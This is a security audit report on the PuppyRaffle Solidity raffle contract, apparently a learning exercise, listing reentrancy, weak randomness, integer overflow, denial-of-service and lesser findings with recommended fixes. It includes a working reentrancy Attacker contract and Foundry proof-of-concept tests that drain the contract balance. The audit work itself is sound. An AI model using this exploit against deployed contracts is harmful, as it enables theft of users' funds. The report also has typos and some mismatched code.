Puppy Raffle Initial Audit Report

Version 0.1

Thomas A. Hall | YourDailyBlockchain.com

February 7, 2024

Puppy Raffle Audit Report

Thomas Hall | Your Daily Blockchain

February 8th, 2024

Puppy Raffle Audit Report

Prepared by: Thomas A. Hall Lead Security Researcher:

- Thomas A. Hall

Assisting Auditors:

- None

Table of contents

See table

About Thomas Hall

I am a junior smart contract security researcher committed to making the world of Web3 a safer place to transact. I am the founder of **Your Daily Blockchain** (https://YourDailyBlockchain.com), your daily source for Web3 and blockchain news and education.

Disclaimer

I make all reasonable effort to find as many vulnerabilities in the codebase in the given time period, but hold no responsibilities for the findings provided in this document. A security audit and review by myself or my team is not an endorsement of the underlying business or product. The security review and audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contract(s).

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash: - Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5 - In Scope:

```
./src/
#--- PuppyRaffle.sol
```

Scope

```
src/
#--- PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	3
Low	1
Info	12
Gas Optimizations	2
Total	21

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters raffle

2. Attacker sets up a contract with a `fallback` function that calls 'PuppyRaffle::refund"
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Place the following in `PuppyRaffleTest.t.sol`

```solidity

function testReentrancyAttack() public {

        // Record the initial balance of the raffle before seeding with 50 ETH.
        uint256 initialRaffleBalance = address(puppyRaffle).balance;
        console.log("Raffle's Initial balance:", initialRaffleBalance);

        // Simulate the raffle having a balance of 50 ETH
        uint256 raffleSeededBalance = 50 ether;
        vm.deal(address(puppyRaffle), raffleSeededBalance);
        console.log("Raffle's Seeded balance:", raffleSeededBalance);

        // Verify the raffle's balance is set as expected
        assertEq(address(puppyRaffle).balance, raffleSeededBalance, "Raffle seeded balance not set correctly");

        // Make sure the attacker has enough ETH to cover the entrance fee.
        // This step is crucial because it ensures the attacker can pay the entrance fee.
        vm.deal(address(attacker), entranceFee);

        // Record the seeded balance of the raffle and the initial balance of the attacker for later assertions.
        uint256 initialAttackerBalance = address(attacker).balance;

        // Log the current balance of the attacker for debugging purposes
        console.log("Attacker's initial balance:", address(attacker).balance);

        // Start the attack by invoking the attack function of the attacker instance
        // and ensure to send the entrance fee along with the transaction.
        attacker.attack{value: entranceFee}(); // Correctly pass the entranceFee as msg.value

        // Assertions to check the effect of the attack...
        uint256 finalRaffleBalance = address(puppyRaffle).balance;
        uint256 finalAttackerBalance = address(attacker).balance;

        // Use require statements or assertTrue for Foundry to check
            your conditions
        require(finalRaffleBalance < raffleSeededBalance, "Raffle's
            balance did not decrease as expected.");
        require(finalAttackerBalance > initialAttackerBalance, "
            Attacker's balance did not increase as expected.");

        // Log the current balance of the raffle for debugging purposes
        console.log("Raffle's final balance:", finalRaffleBalance);
        console.log("Attacker's final balance:", finalAttackerBalance);
    }
```

And this this contract as well.

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "../src/PuppyRaffle.sol";
contract Attacker {
    PuppyRaffle public raffle;
    constructor(PuppyRaffle _raffleAddress) {
        raffle = _raffleAddress;
    }

    // Fallback function used to perform reentrancy attack
    receive() external payable {
        if (address(raffle).balance >= 1 ether) { // Check if the
            raffle has enough balance to refund
             raffle.refund(0); // Assuming 0 is the index of this
                attacker in the raffle
        }
    }
    function attack() public payable {
        // Enter the raffle as the attacker
        address[] memory players = new address[](1);
        players[0] = address(this);
        raffle.enterRaffle{value: msg.value}(players);
        // Trigger the refund, initiating the reentrancy attack
        raffle.refund(0); // Assuming this contract's entry is at index
            0
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict thw winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A preditable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

note: This means users coul;d front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire rafflw worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blocg on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don';t like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [weel-documented attack vector] (https://betterprogramming.pub/how
to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRafle::totalFees` loses fees.

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar +1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawalFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totFees` will be:

```
totalFees = totalFees + uint64(fee);
// attacktotalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

ALthough you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocols. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit - DoS Attack
@>         for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
             }
         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the 2nd 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDoSAttack() public {
        // Populate the raffle with a large number of unique players
        for (uint256 i = 0; i < 1000; i++) {  // Adjust the number
            based on testing scenario
            address uniqueAddress = address(uint160(uint256(keccak256(
                abi.encodePacked(i)))));
            address[] memory newPlayer = new address[](1);
            newPlayer[0] = uniqueAddress;
            puppyRaffle.enterRaffle{value: 1 ether}(newPlayer);
        }

        uint startGas = gasleft();
        // Query for one of the addresses that was entered into the
            raffle
        address queryAddress = address(uint160(uint256(keccak256(abi.
            encodePacked(uint256(999))))));

        puppyRaffle.getActivePlayerIndex(queryAddress);
        uint endGas = gasleft();
        uint gasUsed = startGas - endGas;

        emit log_named_uint("Gas used for getActivePlayerIndex with 1000 unique players: ", gasUsed);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.
3. Alternatively, you could use [OpenZeppelin's `EnemerableSet` Library] https://docs.openzeppelin.com/contrac

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than the `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected

2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lotter. However if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` funciton could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a fgew options to mitigate this issue.

1. Do not allow dsmart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePLayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but accoridng to the natspec, it will also return 0 if the oplayer is not in the array.

```
    // @audit - if the player is at index 0, it'll return 0 and a
       player might think they are not in the raffle.
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
            for (uint256 i = 0; i < players.length; i++) {
                if (players[i] == player) {
                    return i;
                }
            }
            return 0;
        }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters the rtaffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerINdex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution mighht be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
          emit RaffleEnter(newPlayers);
      }
```

NC - Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in stc/PuppyRaffle.sol 8662:23:35
- Found in stc/PuppyRaffle.sol 3165:24:35
- Found in stc/PuppyRaffle.sol 9809:26:35

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code cleanm and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-8] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67% (20/30)	77.78% (7/9)

File	% Lines	% Statements	% Branches	% Funcs
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00% (1/2)	100.00% (2/2)
Total	80.60% (54/67)	81.52% (75/92)	65.62% (21/32)	75.00% (9/12)

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-9] Zero adddress validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees wluld be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#57) lacks a zero-check on :
     - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol#165) lacks a zero-check on :
     - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-10] Unchanged variables should be constant or immutable

Constant instances

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-11] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-12] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the players array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.